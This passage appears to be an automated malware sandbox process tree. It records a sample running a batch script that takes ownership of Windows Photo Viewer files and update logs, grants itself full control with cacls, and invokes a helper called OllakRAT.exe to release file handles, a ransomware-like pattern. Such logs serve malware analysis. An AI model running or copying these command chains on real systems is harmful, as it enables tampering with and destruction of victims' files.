                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        takeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.15e08ab7-d0c8-4651-b0ee-2a124fe22b46.1.etl"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "UpdateSessionOrchestration.15e08ab7-d0c8-4651-b0ee-2a124fe22b46.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5956
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            OllakRAT.exe -accepteula "UpdateSessionOrchestration.15e08ab7-d0c8-4651-b0ee-2a124fe22b46.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5828
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    takeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4728
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4884
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5876
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              cacls "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    OllakRAT.exe -accepteula "ImagingDevices.exe" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.c29a9f45-dacd-419c-a394-413e04571c94.1.etl""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cacls "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.c29a9f45-dacd-419c-a394-413e04571c94.1.etl" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          takeown /F "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.c29a9f45-dacd-419c-a394-413e04571c94.1.etl"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "NotificationUxBroker.c29a9f45-dacd-419c-a394-413e04571c94.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                OllakRAT.exe -accepteula "NotificationUxBroker.c29a9f45-dacd-419c-a394-413e04571c94.1.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵